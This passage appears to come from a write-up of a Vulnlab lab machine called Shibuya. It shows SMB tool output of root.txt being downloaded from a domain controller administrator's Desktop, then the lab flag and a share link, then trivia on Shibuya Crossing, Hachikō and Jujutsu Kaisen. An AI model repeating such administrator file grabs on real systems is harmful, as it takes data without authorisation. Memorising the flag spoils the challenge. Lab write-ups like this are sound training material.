SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [*] Copying "\users\administrator\Desktop\root.txt" to "root.txt"
SMB awsjpdc0522.shibuya.vl 445 AWSJPDC0522 [+] File "\users\administrator\Desktop\root.txt" was downloaded to "root.txt"
$ cat root.txt
VL{b1ffd535145a16ac44220c108377b9cc}
Extra
Challenge solved! Use this link to share it: https://api.vulnlab.com/api/v1/share?id=c85f74c1-8e15-4f1b-82a9-a890eef0bd36
渋谷スクランブル交差点 - Shibuya Crossing
Shibuya Scramble Crossing (渋谷スクランブル交差点, Shibuya sukuranburu kōsaten), commonly known as Shibuya Crossing, is a popular pedestrian scramble crossing in Shibuya, Tokyo, Japan.[1]
It is located in front of the Shibuya Station Hachikō exit and stops vehicles in all directions to allow pedestrians to inundate the entire intersection. The statue of Hachikō, between the station and the intersection, is a common meeting place, which is almost always crowded.
ハチ公 - Hachikō Statue
Hachikō (ハチ公, November 10, 1923 – March 8, 1935) was a Japanese Akita dog remembered for his remarkable loyalty to his owner, Hidesaburō Ueno, for whom he continued to wait for over nine years following Ueno’s death.[2]
In April 1934, a bronze statue based in his likeness sculpted by Teru Ando was erected at Shibuya Station. The statue was recycled for the war effort during World War II.
In 1948, Takeshi Ando (son of the original artist) made a second statue.[15] The new statue, which was erected in August 1948, still stands and is a popular meeting spot.
The station entrance near this statue is named “Hachikō-guchi”, meaning “The Hachikō Entrance/Exit”, and is one of Shibuya Station’s five exits.
【呪術廻戦】渋谷事変 - [Jujutsu Kaisen] Shibuya Incident
The Shibuya Incident is a pivotal arc in the Jujutsu Kaisen series, characterized by intense battles and significant character developments.
More information here: https://jujutsukaisen.jp/shibuyaincidentnow/
